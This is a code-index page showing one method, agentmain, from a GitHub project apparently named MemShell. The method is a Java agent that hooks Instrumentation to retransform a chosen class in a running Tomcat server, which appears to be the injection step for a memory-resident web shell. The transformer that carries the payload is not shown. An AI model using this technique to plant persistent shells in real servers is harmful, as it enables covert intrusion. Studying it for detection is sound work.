MCPcopy Create free account
hub / github.com/ax1sX/MemShell / agentmain

Method agentmain

TomcatAgent/src/main/java/com/agent/MyAgent.java:16–31  ·  view source on GitHub ↗
(String args, Instrumentation inst)

Source from the content-addressed store, hash-verified

14 }
15
16 public static void agentmain(String args, Instrumentation inst) throws Exception {
17 inst.addTransformer(new MyTransformer(), true);
18 Class[] loadedClasses = inst.getAllLoadedClasses();
19
20 for(int i = 0; i < loadedClasses.length; ++i) {
21 Class clazz = loadedClasses[i];
22 if (clazz.getName().equals(ClassName)) {
23 try {
24 inst.retransformClasses(new Class[]{clazz});
25 } catch (Exception var6) {
26 var6.printStackTrace();
27 }
28 }
29 }
30
31 }
32
33 public static void premain(String args, Instrumentation inst) throws Exception {
34 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected